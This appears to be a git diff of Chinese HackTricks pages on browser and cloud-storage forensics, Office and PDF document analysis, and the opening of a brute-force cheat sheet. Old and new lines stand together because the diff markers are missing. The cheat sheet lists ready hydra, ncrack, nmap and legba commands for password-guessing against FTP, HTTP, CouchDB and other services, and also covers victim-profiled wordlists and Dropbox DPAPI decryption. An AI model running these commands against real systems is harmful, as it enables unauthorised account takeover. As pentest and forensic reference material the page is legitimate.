- **最后活动会话**`C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
@ -161,20 +161,18 @@ Safari数据存储在`/Users/$User/Library/Safari`。关键文件包括:
- **TopSites.plist**:最常访问的站点。
- **Extensions.plist**Safari浏览器扩展列表。使用`plutil`或`pluginkit`进行检索。
- **UserNotificationPermissions.plist**:允许推送通知的域。使用`plutil`进行解析。
- **LastSession.plist**:上次会话的标签。使用`plutil`进行解析。
- **LastSession.plist**:上次会话的标签。使用`plutil`进行解析。
- **浏览器内置的反钓鱼**:使用`defaults read com.apple.Safari WarnAboutFraudulentWebsites`进行检查。响应为1表示该功能已激活。
## Opera
Opera的数据存储在`/Users/$USER/Library/Application Support/com.operasoftware.Opera`中并与Chrome的格式相同用于历史记录和下载。
- **浏览器内置的反钓鱼**:通过检查偏好设置文件中`fraud_protection_enabled`是否设置为`true`来验证,使用`grep`。
- **浏览器内置的反钓鱼**:通过检查偏好设置文件中`fraud_protection_enabled`是否设置为`true`,使用`grep`进行验证
这些路径和命令对于访问和理解不同网络浏览器存储的浏览数据至关重要。
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
@ -10,11 +10,11 @@
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享您的黑客技巧**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
@ -42,7 +42,7 @@
在Windows中您可以在`\Users\<username>\AppData\Local\Google\Drive\user_default`找到主Google Drive文件夹\
此文件夹包含一个名为Sync\_log.log的文件其中包含帐户的电子邮件地址、文件名、时间戳、文件的MD5哈希等信息。即使已删除的文件也会在该日志文件中显示其相应的MD5。
文件**`Cloud_graph\Cloud_graph.db`**是一个包含表**`cloud_graph_entry`**的sqlite数据库。在这个表中,您可以找到**同步的文件**的**名称**、修改时间、大小和文件的MD5校验和。
文件**`Cloud_graph\Cloud_graph.db`**是一个包含表**`cloud_graph_entry`**的sqlite数据库。在表中,您可以找到**同步的文件**的**名称**、修改时间、大小和文件的MD5校验和。
数据库**`Sync_config.db`**的表数据包含帐户的电子邮件地址、共享文件夹的路径和Google Drive版本。
@ -62,7 +62,7 @@ Dropbox使用**SQLite数据库**来管理文件。在这\
* Deleted.dbx
* Config.dbx
“.dbx”扩展名表示**数据库是加密的**。Dropbox使用**DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
".dbx"扩展名表示**数据库是加密的**。Dropbox使用**DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
要更好地理解Dropbox使用的加密您可以阅读[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)。
@ -76,7 +76,7 @@ Dropbox使用**SQLite数据库**来管理文件。在这\
除了这些信息,要解密数据库,您还需要:
* **加密的DPAPI密钥**:您可以在注册表中找到,位于`NTUSER.DAT\Software\Dropbox\ks\client`内(将此数据导出为二进制)
* **`SYSTEM`**和**`SECURITY`**注册表
* **`SYSTEM`****`SECURITY`** 蜂巢
* **DPAPI主密钥**:可以在`\Users\<username>\AppData\Roaming\Microsoft\Protect`中找到
* Windows用户的**用户名**和**密码**
@ -84,7 +84,7 @@ Dropbox使用**SQLite数据库**来管理文件。在这\
![](<../../../.gitbook/assets/image (448).png>)
如果一切顺利,该工具将指示您需要使用的**主密钥**来**恢复原始密钥**。要恢复原始密钥,只需在此[cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)中将主密钥作为“密码”放入收据。
如果一切顺利,该工具将指示您需要使用的**主密钥**以恢复原始密钥。要恢复原始密钥,只需在此[cyber\_chef收据](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)中将主密钥作为“密码”放入收据
生成的十六进制是用于加密数据库的最终密钥,可以使用以下方式解密:
```bash
@ -94,43 +94,43 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
- **Email**:用户的电子邮件
- **usernamedisplayname**:用户的名称
- **dropbox\_path**Dropbox文件夹的路径
- **dropbox\_path**Dropbox 文件夹的路径
- **Host\_id**:用于在云端进行身份验证的哈希。只能通过网络撤销此哈希。
- **Root\_ns**:用户标识符
**`filecache.db`** 数据库包含与Dropbox同步的所有文件和文件夹的信息。表`File_journal`是包含最有用信息的表
**`filecache.db`** 数据库包含与 Dropbox 同步的所有文件和文件夹的信息。表 `File_journal` 包含最有用的信息
- **Server\_path**:文件在服务器内的路径(此路径前面带有客户端的`host_id`)。
- **Server\_path**:文件在服务器内的路径(此路径前面带有客户端的 `host_id`)。
- **local\_sjid**:文件的版本
- **local\_mtime**:修改日期
- **local\_ctime**:创建日期
此数据库中的其他表包含更多有趣的信息:
- **block\_cache**Dropbox所有文件和文件夹的哈希
- **block\_ref**:将表`block_cache`中的哈希ID与表`file_journal`中的文件ID相关联
- **mount\_table**共享Dropbox文件夹
- **deleted\_fields**已删除的Dropbox文件
- **block\_cache**Dropbox 所有文件和文件夹的哈希
- **block\_ref**:将表 `block_cache` 中的哈希 ID 与表 `file_journal` 中的文件 ID 相关联
- **mount\_table**:共享 Dropbox 文件夹
- **deleted\_fields**:已删除的 Dropbox 文件
- **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可轻松构建和 **自动化工作流程**,利用全球 **最先进** 的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
支持 HackTricks 的其他方式:
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**关注**我们。
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- 探索我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**关注** 我们。
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR **分享您的黑客技巧**
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
@ -14,10 +14,10 @@
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进**社区工具。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进**社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -26,33 +26,33 @@
微软创建了许多办公文档格式,其中两种主要类型是**OLE格式**如RTF、DOC、XLS、PPT和**Office Open XMLOOXML格式**如DOCX、XLSX、PPTX。这些格式可以包含宏使它们成为钓鱼和恶意软件的目标。OOXML文件结构化为zip容器允许通过解压缩进行检查揭示文件和文件夹层次结构以及XML文件内容。
为了探索OOXML文件结构给出了解压缩文档的命令和输出结构。已记录了在这些文件中隐藏数据的技术表明在CTF挑战中数据隐藏方面的持续创新。
为了探索OOXML文件结构提供了解压缩文档的命令和输出结构。已记录了在这些文件中隐藏数据的技术表明在CTF挑战中数据隐藏方面的持续创新。
对于分析,**oletools**和**OfficeDissector**提供了用于检查OLE和OOXML文档的全面工具集。这些工具有助于识别和分析嵌入的宏这些宏通常用作恶意软件传递的向量通常下载并执行其他恶意载荷。可以使用Libre Office进行VBA宏的分析而无需Microsoft OfficeLibre Office允许使用断点和监视变量进行调试。
对于分析,**oletools**和**OfficeDissector**提供了用于检查OLE和OOXML文档的全面工具集。这些工具有助于识别和分析嵌入的宏这些宏通常用作恶意软件传递的向量通常下载并执行其他恶意载荷。可以使用Libre Office进行VBA宏的分析而无需Microsoft OfficeLibre Office允许使用断点和监视变量进行调试。
**oletools**的安装和使用非常简单提供了通过pip安装和从文档中提取宏的命令。通过函数如`AutoOpen`、`AutoExec`或`Document_Open`触发自动执行宏。
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建并通过世界上**最先进**的社区工具**自动化工作流程**。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -9,24 +9,24 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**使用世界上**最先进**的社区工具。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**并由全球**最先进**的社区工具提供支持。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**有关更多详细信息,请查看:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
**更多详细信息,请查看:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
PDF格式以其复杂性和潜在的数据隐藏能力而闻名因此成为CTF取证挑战的焦点。它将纯文本元素与二进制对象结合在一起这些对象可能被压缩或加密并且可以包含JavaScript或Flash等语言的脚本。要了解PDF结构可以参考Didier Stevens的[入门材料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)或使用文本编辑器或PDF特定编辑器如Origami等工具。
PDF格式以其复杂性和潜在的数据隐藏能力而闻名因此成为CTF取证挑战的焦点。它结合了纯文本元素和二进制对象这些对象可能被压缩或加密并且可以包含JavaScript或Flash等语言的脚本。要了解PDF结构可以参考Didier Stevens的[入门材料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)或使用文本编辑器或PDF特定编辑器如Origami等工具。
要深入探索或操作PDF使用[qpdf](https://github.com/qpdf/qpdf)和[Origami](https://github.com/mobmewireless/origami-pdf)等工具。PDF中隐藏的数据可能隐藏在以下位置
要深入探索或操作PDF可使用[qpdf](https://github.com/qpdf/qpdf)和[Origami](https://github.com/mobmewireless/origami-pdf)等工具。PDF中隐藏的数据可能隐藏在以下位置
* 不可见图层
* Adobe的XMP元数据格式
@ -35,7 +35,7 @@ PDF格式以其复杂性和潜在的数据隐藏能力而闻名因此成为CT
* 图像后面或重叠图像的文本
* 未显示的注释
对于自定义PDF分析可以使用Python库如[PeepDF](https://github.com/jesparza/peepdf)来编写定制的解析脚本。此外PDF隐藏数据存储的潜力是如此巨大,以至于像NSA关于PDF风险和对策的指南等资源尽管不再托管在原始位置仍然提供有价值的见解。[指南的副本](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)和Ange Albertini的[PDF格式技巧](https://github.com/corkami/docs/blob/master/PDF/PDF.md)集可供进一步阅读。
对于自定义PDF分析可以使用Python库如[PeepDF](https://github.com/jesparza/peepdf)来编写定制的解析脚本。此外PDF的隐藏数据存储潜力非常巨大,因此像NSA关于PDF风险和对策的指南等资源尽管不再托管在原始位置仍然提供有价值的见解。[指南的副本](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)和Ange Albertini的[PDF格式技巧](https://github.com/corkami/docs/blob/master/PDF/PDF.md)集可供进一步阅读。
<details>
@ -46,7 +46,7 @@ PDF格式以其复杂性和潜在的数据隐藏能力而闻名因此成为CT
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,30 +1,30 @@
# 暴力破解 - 速查表
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和 **自动化工作流**,使用世界上 **最先进** 的社区工具。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流**,使用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
支持HackTricks的其他方式
* 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR **分享您的黑客技巧**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## 默认凭据
在谷歌中搜索正在使用的技术的默认凭据,或尝试以下链接:
在谷歌中搜索正在使用的技术的默认凭据,或尝试以下链接:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@ -62,13 +62,13 @@ cewl example.com -m 5 -w words.txt
```
### [CUPP](https://github.com/Mebus/cupp)
根据对受害者的了解(姓名、日期等)生成密码
基于对受害者的了解(姓名、日期等)生成密码
```
python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
一个字典生成工具,允许您提供一组单词,从给定的单词中创建多个变体,生成一个针对特定目标使用的独特和理想的字典
一个字典生成工具,允许您提供一组单词,从给定的单词中创建多个变体,生成一个独特且理想的字典,以用于特定目标
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -89,7 +89,7 @@ Finished in 0.920s.
```
### [pydictor](https://github.com/LandGrey/pydictor)
### 字典列表
### 字典
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
@ -102,7 +102,7 @@ Finished in 0.920s.
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和**自动化工作流程**,利用全球**最先进**的社区工具。\
@ -126,7 +126,7 @@ msf> run
```
### AJP
AJPApache JServ Protocol是一种用于将Web服务器与应用服务器通信的协议。
### AJP
```bash
nmap --script ajp-brute -p 8009 <IP>
```
@ -138,7 +138,9 @@ legba amqp --target localhost:5672 --username admin --password data/passwords.tx
```
### Cassandra
### 卡桑德拉
#### Brute Force
Brute force attacks against Cassandra typically involve attempting to guess usernames and passwords to gain unauthorized access to the database. This can be done using automated tools that systematically try different combinations of usernames and passwords until the correct one is found. It is important to use strong, unique passwords and implement other security measures to protect against brute force attacks.
```bash
nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
@ -146,14 +148,29 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
```
### CouchDB
### CouchDB
#### Brute Force
Brute force attacks against CouchDB involve attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords. This can be done using automated tools that iterate through a list of common usernames and passwords, or by generating all possible combinations based on certain criteria such as password length or character set.
#### Prevention
To prevent brute force attacks against CouchDB, consider implementing the following measures:
1. **Strong Passwords**: Encourage users to use strong, complex passwords that are not easily guessable.
2. **Account Lockout**: Implement account lockout mechanisms that temporarily lock user accounts after a certain number of failed login attempts.
3. **Rate Limiting**: Limit the number of login attempts from a single IP address within a certain time frame to prevent automated brute force attacks.
4. **Multi-Factor Authentication**: Implement multi-factor authentication to add an extra layer of security beyond just a password.
By implementing these prevention measures, you can significantly reduce the risk of successful brute force attacks against CouchDB.
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Docker Registry
### Docker注册表
### Docker Registry
### Docker Registry
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
@ -165,7 +182,7 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl
```
### FTP
### FTP
FTP (File Transfer Protocol) is a standard network protocol used to transfer files between a client and a server on a computer network. FTP is often targeted for brute force attacks due to its inherent vulnerabilities. Attackers can use brute force techniques to guess usernames and passwords to gain unauthorized access to FTP servers. It is important to use strong and unique credentials, as well as implement security measures such as account lockout policies to prevent brute force attacks on FTP servers.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
@ -185,7 +202,9 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
```
### HTTP - NTLM
### HTTP - NTLM
#### Brute Force
Brute forcing NTLM hashes is a common technique used to crack passwords. Tools like `hashcat` and `John the Ripper` can be used to perform brute force attacks against NTLM hashes. These tools allow you to try a large number of password combinations in a short amount of time, increasing the chances of successfully cracking the password. It is important to use a good wordlist and rules when performing brute force attacks to maximize the chances of success.
```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
@ -197,16 +216,16 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```
对于http**s**,您必须从"http-post-form"更改为"**https-post-form**"
对于http**s**,您必须从"http-post-form"更改为"**https-post-form"**
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
### **HTTP - CMS --** (W)ordpress, (J)oomla或(D)rupal或(M)oodle
```bash
